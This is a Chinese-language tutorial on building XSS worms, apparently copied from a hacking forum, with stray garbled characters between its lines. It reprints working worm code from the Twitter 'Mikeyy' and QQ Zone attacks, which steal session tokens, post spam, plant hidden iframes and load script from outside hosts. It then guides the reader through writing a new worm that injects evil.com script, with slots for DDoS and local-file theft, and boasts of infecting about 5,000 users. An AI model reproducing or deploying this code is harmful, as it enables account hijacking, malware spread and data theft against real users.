var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
' S5 a) C, _4 g' Q

$ m+ t5 w7 s- ?2 |3 P
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
/ S# B' ?1 Z* e
XmlHttp.send(null);
$ b3 y! S* k" n; \7 k( k
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
. y! F( s. v, h% H1 P复制代码案例:Twitter 蠕蟲五度發威
0 V  J3 X& Z9 E. ^第一版:
, X# A/ t5 f2 V4 Y  下载 (5.1 KB)

6 天前 08:27

$ j) H9 H: |  q第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
2 E" @% g" p6 |1 E, z
8 z% e: O' o7 l. Y7 b   2.   

. Y$ V- O$ c0 `8 L$ u2 l& w7 f9 M6 m   3. function XHConn(){  
1 ^  V' h- K9 S* J& ?8 w
   4.   var _0x6687x2,_0x6687x3=false;  
, B# P' w6 o3 G8 X5 ~1 ~
+ D- ^, `, o+ _  k/ W1 l% }   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

! M: R: g1 J( Z7 K, R   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

3 ]' [7 o) k6 r7 g" Z' D   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  
/ b6 z# S( C9 ~1 M' |- p
   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

. X/ n3 V8 S# C$ c% Q0 e4 D: U8 D   6.   var authtoken=authreg.exec(content);  

0 q, F! S, V( |0 O# D- k   7.   var authtoken=authtoken[1];  

/ b/ I$ m1 e% U) C   8.   var randomUpdate= new Array();  
( O/ u* u: G5 @
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
4 _6 u( {# w" ]) f# f" I
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
: Y4 G1 s' }; F& ]+ I1 A- f
" G6 ]6 D: n% |6 N* S1 o8 g  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
  G# m! b( l" K0 c
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
+ T* j8 T7 r. i) G/ r. c" a+ {
& @" ~3 T9 o* W, N  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
- r2 h1 ]1 s$ r8 R* d
/ ?" p0 R7 @: N/ `0 ^  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
9 \3 ]3 D/ {+ b# B
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

% f& j8 n. C9 y  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

4 I5 v! y; a! I9 W) \- a. x  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
! h) v0 M( r. p( ~$ w( V% e& G0 Q
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
. ?! I/ [* I& P
& S2 p' R6 p. @- r5 ]! ]  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
" `, T+ n- o" e( \, Y2 V
" R$ q; c' C' K  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

. q- P5 q2 ?. ?3 g1 `8 m6 m* m  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
& f* D* B0 c# p3 Q& v' X8 A
# x6 c* _' M3 p2 o) V1 E# {+ I  24.     
! A0 M# m9 Z5 k3 S) a
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

, H& L! m+ N+ g% w+ @, W  27.     

/ V  D( f) j/ R/ ]  28.   var ajaxConn= new XHConn();  

& n3 s% o5 T* R  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

! @& p$ X" w8 A  32.   var ajaxConn1= new XHConn();  
2 `8 }- q1 |( X" @" _* P2 J: E
0 v3 V' d  [* x. M  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
- A4 r6 _0 k- ~
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  
% a( \% E6 c; `$ {8 ^
0 L) W2 E# ]4 l  36.   var ajaxConn2= new XHConn();  
- C/ E% S, }9 F: l4 k
! _! N6 |' w3 a  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
; |" e$ X0 `, n: A6 j8 f# ^
1 [. j) ?( C# z8 r  38.     
7 s6 X, Q' o/ A. l+ d0 y* y! i
' X( u: P" `% [8 d: M  39. } ;  

  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
$ g" Y! }$ Y; w4 e0 W
window.onerror=killErrors;



! M  L5 ^* N) z( q" Lvar shendu;shendu=4;
8 s+ M: e9 c( `7 w/ P
/ _6 m9 Z9 C: p, ^4 ]//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

+ z, _. R& X6 g5 ]( k0 j& Q! X" }3 qvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

& n; ]5 N5 |+ h( B. ^/ dvar myblogurl=new Array();var myblogid=new Array();
% v1 q: F0 o; o9 }
        var gurl=document.location.href;
6 _2 [! W. j3 O7 X: O* d% N
        var gurle=gurl.indexOf("com/");
9 G& H+ y6 u# S( _
: L! D$ v7 d: d- ]% J" _6 I8 T6 s        gurl=gurl.substring(0,gurle+3);        
3 `3 C4 G  Q; t; h
        var visitorID=top.document.documentElement.outerHTML;
! |, N' P' f+ V+ [7 v9 b" T
           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");
; B0 C" H/ ^% y9 K
4 X- V" c9 Y/ i) ^6 t  N( d* S        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
) _9 r" F4 [6 B5 R. p+ b, v
9 w( o( p0 o6 I8 ]2 u# ~        DOshuamy();
  {: A$ W- ?  U; }: e- b4 i

5 u+ `% Z) F& e: \
//挂马
! B/ t2 @; E: t7 m- r7 P9 z
function DOshuamy(){

var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

' M1 c; a3 w7 r# U}
+ ]5 ~* d9 D6 C) |% B


' O* ~: j# ?* m//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
- _. \  |4 |- n5 C
. j7 W$ A& o4 f* x5 P8 xfunction get_my_blog(visitorID){
- N4 L6 i& R0 H) ]9 Z' m
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

0 {2 {' \- p$ E   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
" ^4 b' e+ f8 o' z
   if(xhr){    //成功就执行下面的

+ j+ j/ j0 ]8 b7 G6 `: j     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
3 C/ q: k: g/ m) d5 q
     xhr.send();guest=xhr.responseText;
" U& Y1 Y6 ]4 `+ M3 i; U
     get_my_blogurl(guest);    //执行这个函数

0 W: a0 v* }* p% p! f    }

}
4 z/ v1 T9 P: n- d7 a( q& |
9 m' m; V1 q5 I7 x0 H9 h) L  n" x
) ?/ g; X' W1 Q6 T
( x) q/ `" m* p+ [: [. m//这里似乎是判断没有登录的
7 ~# A  a' o5 e! c  g
function get_my_blogurl(guest){

/ ?) k( a8 a. p# [  var mybloglist=guest;

  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){
, c% T$ z! a' \( }) i$ X
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
3 D. ]5 n/ w8 C1 \0 g
     if(myurls!=-1){    //找到了就执行下面的

+ x1 f4 o" G0 b2 }         mybloglist=mybloglist.substring(myurls+11);
. N" g6 j& y1 z' ^* ]" o
         myurls=mybloglist.indexOf(')');

+ I; i/ Z& j2 [4 {, K8 L& d         myblogid=mybloglist.substring(0,myurls);
& j* |) F# e* Z2 E7 @
/ o  J0 o$ \% T% i& M6 N( w        }else{break;}
" H" u( f; E; ?
}

( B2 q3 u7 A2 E4 o: }$ @* Mget_my_testself();    //执行这个函数

}
* u7 J# f. v& V5 d) [& ]
4 e( E7 a  h0 e7 l5 h
% n* w( I; v# ^% z2 Z5 W
: P; @( a9 ?; Y; r- B' ?( q//这里往哪跳就不知道了

function get_my_testself(){
+ ~# U+ }% V8 A- i- e, W
& R" ^% a$ r6 l3 v! {) T  for(i=0;i<myblogid.length;i++){    //获得blogid的值
& c2 F" T4 M2 Y& E" Q2 }- ^6 |
6 [7 _9 h2 w; r( i  P0 n2 x- J      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

& W. j. ]" n) E7 t% |      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
3 I, F4 @( `. l
      if(xhr2){        //如果成功

* `# D: b7 P* y- L9 j; H              xhr2.open("GET",url,false);     //打开上面的那个url

; @$ W( |' k5 v( G: E              xhr2.send();
- P* W' o, A) X
              guest2=xhr2.responseText;
1 \$ b- ^8 X) e6 r" a6 w
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
9 H( V2 W; N  K3 \: q2 n! o
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
% z  A  T) r# G! ?+ d6 n
, Z( k" a* @* d: X! ?& g! ]              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
4 `' J8 l5 P4 Y2 _* K
' S+ L( U2 f' J; m                targetblogurlid=myblogid;   
/ o9 U3 r/ {! K3 c
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
5 z1 h& N3 v$ T6 B9 {, J
                break;
2 {) ~+ T, T% O
               }
9 O9 d; s/ ?5 s2 p% K( S
) m% ?- q/ i9 b8 Y$ M              if(mycheckit=="-1"){

6 h  i9 c2 L/ L  d  @5 F" P                targetblogurlid=myblogid;

; G+ }% {& ^: V: ]/ C                add_js(visitorID,targetblogurlid,gurl);    //执行它

. c5 e$ z( w2 R; u' `4 m                break;
$ R* B6 t9 R6 u" \5 x  q% u
  `9 ?; R; S" e4 T3 S7 B& l: q               }
& G0 m7 o3 j) e2 U( J
9 a  r- y; `3 d* \        }      
) d# l& |: k: A% N& q2 u3 S
& t$ I0 S' `# ^# ]6 H2 {+ N0 W& N* d}

7 M, l# o5 `% a( a, M}

; `& Z" ?/ A! T

. P! K, {# z- s. ~2 z, D6 l//--------------------------------------  
( I. M1 \* }2 S1 a% q. u& N
/ w* p0 \  v/ D+ I' `//根据浏览器创建一个XMLHttpRequest对象
1 t7 @, D0 P+ n! t) S0 x
function createXMLHttpRequest(){

8 h6 C% b9 f4 g$ i& a7 h    var XMLhttpObject=null;  
- R  i; i; s9 O7 g- q: H* I( w
+ l# p, @& Z* J8 w5 R; J: L) B# k    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
' j6 H/ \3 E' K4 k  G' ^
! Z. \/ |' ^6 y$ \( @    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
% |: _$ ]$ \9 D2 U
        for(var i=0;i<MSXML.length;i++)  

        {  

            try  
9 {* J  O1 w, y
            {  
! ^# b! a3 j+ S- R) ?
                XMLhttpObject=new ActiveXObject(MSXML);  
$ @3 _! k; @' g" p
% x3 Y( b; ]( U4 \! H                break;  
1 m4 d" S  @5 a. c0 Q3 F! T- I
2 x2 y" r: u9 z1 W/ J! L  U            }  

9 O+ N( H* Z. `0 _  R& E            catch (ex) {  
7 ^% Q$ [1 P9 O! _, \
            }  
7 I0 r: G7 ~6 [  y
         }  

' X1 [5 }) S, X. x$ T8 p      }
2 ~. r3 g! m& j9 M6 _! ~5 O/ ~
return XMLhttpObject;
6 s4 G$ J1 R1 v3 w( {& c. O
}  



//这里就是感染部分了

8 A8 }* c! ~; O3 Y% T5 ~function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
( E. j8 j5 G/ h5 H
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
9 e! u5 }3 H4 H- |4 q, O
document.getElementsByTagName('head').item(0).appendChild(s2);

5 p2 ~; S/ I; w& l$ F7 ^2 @& o$ c}
5 q, K! ^6 L7 v1 \. L) K$ {( w" P' ]
9 i8 `: Q! v6 q
6 @& }( A5 M' p6 c
: A, r' F/ \. [) E$ L% L1 @; Zfunction add_jsdel(visitorID,targetblogurlid,gurl){
& Z4 v2 {. [7 p/ K0 @
' a9 b4 G  x  O" Jvar s2=document.createElement('script');
1 b  M% p! H9 _% t9 o
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
- d7 L* y3 ~  `( B. z
s2.type='text/javascript';
, [' v5 q6 J! w- I" B
( p: ]. ~* z( l, _0 k# g+ `document.getElementsByTagName('head').item(0).appendChild(s2);

" E5 |" X! o2 H/ a}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

( e9 U( q0 _4 F& ]. R$ y6 K8 p& g2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
8 j( p& N" M% e8 g1 S

下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

$ @' n9 S# j9 @8 e5 z. Y首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {
) B/ \/ ^! c  _: X, o1 a
2 ]5 ^2 N$ P2 @( z% j: |. |) trequest.overrideMimeType('text/xml');

( f. f2 z2 l! Z, b9 ^& N3 o}

} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
" H7 v, r1 d2 t$ z; o/ L2 c
for(var i=0; i<versions.length; i++) {

4 L8 \6 Z* h. V" wtry {

request = new ActiveXObject(versions);

} catch(e) {}

}

}

+ s& X& B7 `6 d- ^* x* L' }0 _2 oxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
& P! H: G& L! i$ u, l! E
3 g# I( B5 h, C, _- n. n4 }, J; t        var Browser_Name=navigator.appName;
+ h- \* s3 z1 v# B$ f* p) G
$ Q# M0 r8 n# k) }! c        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;

        

        var Actual_Version,Actual_Name;
) G$ j0 ]( O' O. Y) n
. u+ S8 C6 @3 c# ^9 q# W9 |        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
6 c1 U5 b9 q$ H' v
+ S5 q& W. g9 k0 b1 R# }. ?        var is_NN=(Browser_Name=="Netscape");

- @1 Q2 P, X4 T        var is_Ch=(Browser_Name=="Chrome");

        

0 E% N2 [: s2 r& l4 }        if(is_NN){
2 x, v+ X8 a+ t3 D9 e6 g8 M
            if(Browser_Version>=5.0){

# w* }  F' N' C. [                var Split_Sign=Browser_Agent.lastIndexOf("/");
5 x6 Z$ k2 G2 ^* x
                var Version=Browser_Agent.indexOf(" ",Split_Sign);

2 T) W$ x( O0 s: B$ b4 j                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
  B8 n1 p$ v! B& p
4 G2 {! f9 x5 T) a; Z8 A& `
  n7 }; f- D- l( {. |6 `" V
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

' q9 u3 A* |0 h1 Z( W5 x, c! j: h# K            }
1 u& J0 e, z! X( _
3 V: U9 a5 i' @2 u$ _2 S            else{

: h  `7 |* }: ], n4 r) e0 _                Actual_Version=Browser_Version;
1 M/ _, s! y. Q' |/ f5 {7 q
% a1 T8 ^  z2 P# G$ o                Actual_Name=Browser_Name;
- {6 {% q9 {2 E! ], Z  n
" i# R" C' ^1 ~0 r4 V1 }& Y: v            }
5 L( U! U* [; O, J3 i* q$ |
        }
4 Z! n2 s) F: X
, r  ^: U9 \3 C( x5 E8 d        else if(is_IE){
$ ~1 d# d; e5 t+ H$ E
            var Version_Start=Browser_Agent.indexOf("MSIE");
5 \- {4 j2 g: V
, r+ N2 ^3 Q* m1 j- o/ d            var Version_End=Browser_Agent.indexOf(";",Version_Start);
2 M* J, R7 I; m$ c: `& m
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
' N" `9 `- \/ e
            
( p5 N5 _* F/ T- s
            if(Browser_Agent.indexOf("Maxthon")!=-1){
4 _. S4 u7 b/ E1 d' n6 x' q3 a
4 h5 ]9 S. A; [) m: j/ W3 U+ O                Actual_Name+="(Maxthon)";
% u5 ^* h4 T6 W& R$ @
  e: ~: {9 \0 @  H4 {            }
! S! W9 {+ k" t& C
            else if(Browser_Agent.indexOf("Opera")!=-1){

: J4 H7 J5 v0 Y                Actual_Name="Opera";
$ x/ ?; w8 ^" H  S% v+ S
( W; R/ P# j" C                var tempstart=Browser_Agent.indexOf("Opera");

/ h3 h5 ^5 R% S4 f$ R                var tempend=Browser_Agent.length;
8 k& T9 s4 B8 Z, M- D5 \- a' e
+ K/ @  q  E. b6 t; k+ {& r                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
2 N# {7 k& K/ L, u
            }

- Y" p0 ?2 f7 X$ F        }
( j" \) p& M& i8 S
. N' y  z+ p: ~& z" _        else if(is_Ch){
- Q* \! X6 d) e! Z7 c5 h4 P9 K
, `2 q4 @3 U3 {8 |& n6 L            var Version_Start=Browser_Agent.indexOf("Chrome");

% C- a3 N* O# N            var Version_End=Browser_Agent.indexOf(";",Version_Start);

0 h) s% `# Q7 @- N" X3 ]            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

  A7 Y3 G8 |: S; t            
$ _/ _2 K$ {* |+ |1 |3 C. ~# ^
% @! g6 R# J  B  }" t$ r            if(Browser_Agent.indexOf("Maxthon")!=-1){
2 W# J5 L! W: k
5 j$ r" g5 ?' X3 V& y  C8 p! R                Actual_Name+="(Maxthon)";
+ @9 u/ u$ j( p- V& n% b
            }
* r" c: r1 T! t$ X1 R- K
            else if(Browser_Agent.indexOf("Opera")!=-1){

% l1 Z$ H' J7 B% n, x  w                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

/ N, W' W' @$ h& F8 v                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

$ j, B+ b: |) T2 _            }

        }

        else{
- y8 z6 E8 @( n( e- x3 U; M
* T; L% o. P7 l4 X% i            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"
4 `0 {( r: P/ P% a) }
        }
% B- `2 C" X! v3 t( W( r! ?# C- N


& g  D9 Q/ m8 V' I# F        navigator.Actual_Name=Actual_Name;

7 P) S0 h' Y5 b0 G        navigator.Actual_Version=Actual_Version;

        
* w# [7 n  D; l+ c( e
        this.Name=Actual_Name;

. @6 [8 j- ~( m! Q0 r% A0 F        this.Version=Actual_Version;
3 P  J. g& A* I! q
    }

# `4 B* b, |! Y" Z    browserinfo();
( k) @) W' S  |, g/ K5 d
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
% M. p# r% \. T' B$ U
- j9 E1 P, @, d4 ]    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
, D% _, ]$ \- I% N5 T2 ~, S
9 s* {( P% B1 T5 b! S+ K. Y    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
. w0 c+ g4 L7 Y+ Q& }' n" O  ^复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;
8 T+ y" x% o0 ]  Y
var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
6 Q) _7 E8 K4 _3 }1 E- s  T$ y6 t
while ((result = patt.exec(resource)) != null)  {
* _7 R# Q$ _/ {
7 y2 Z( w( e4 y) U6 Kid++;
$ b8 o- U; z/ O+ q1 C# a
}
$ w+ V% {" K) M复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

+ i* O  l* i/ Y3 v! ^( H$ xvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

2 L6 {" @3 V9 F: J' Pvar post="wd="+wd;
: G% r, o9 @. b5 h9 j2 {, Q; L
) X; x5 n5 S  M, ^xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

) U9 _: H7 s& u. ^9 }8 ?xmlHttpReq.setRequestHeader("content-length",post.length);
$ n7 B0 P3 n3 r5 m
% Q' N& ?$ p6 a8 SxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

( s+ [  K8 Y2 X5 u}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

* y: a* C7 s# H; pvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

$ f- E, E* @  [! t5 gvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
7 K: ]: h7 Y# H+ U" j. O
! }( F- u9 ?8 `0 z1 VxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

" m" ~. q8 R2 n( Q& m- CxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
7 \/ W8 o; z$ U6 z. ?
8 A7 }+ V: k7 [5 m4 s5 x% u$ ?: u, X! lxmlHttpReq.send(post);                 //把传播的信息 POST出去.
9 X) i5 U3 |2 j, [
  X) u; H! x( u0 Y}
9 Y. N" R# C" `$ Q复制代码-----------------------------------------------------总结-------------------------------------------------------------------

; i* ^' c* t  m/ c3 W6 S' b' S! N
9 B5 C5 v! k7 I) k' E  ~
+ ^4 w/ D2 C  _5 I  A本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
! R* z, S1 ^; p) p8 n0 Q& d蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
  S' S5 \) M+ I7 ~操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
) ~' F; P2 u8 }6 c

6 Z+ u; W' {1 N- Q/ E7 s) x  \
+ ]4 }& L" x6 p6 }7 [1 f) b


0 G7 U0 p: z0 Y. u# O$ ^
4 G% G6 b& [1 N( u! d, V
. {) o4 G5 p6 {# ]2 Z) f. Y本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
  ~  C8 l3 y( s9 _# `Other XmlHttpRequest tricks (Amit Klein, January 2003)
- A- a$ Y& e( H1 ?) m"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
' B# t) c8 ~, M* I空虚浪子心BLOG http://www.inbreak.net
* e) {! _5 D  a" W% {  jXeye Team http://xeye.us/
0 i$ v* V! x+ q  F9 g6 K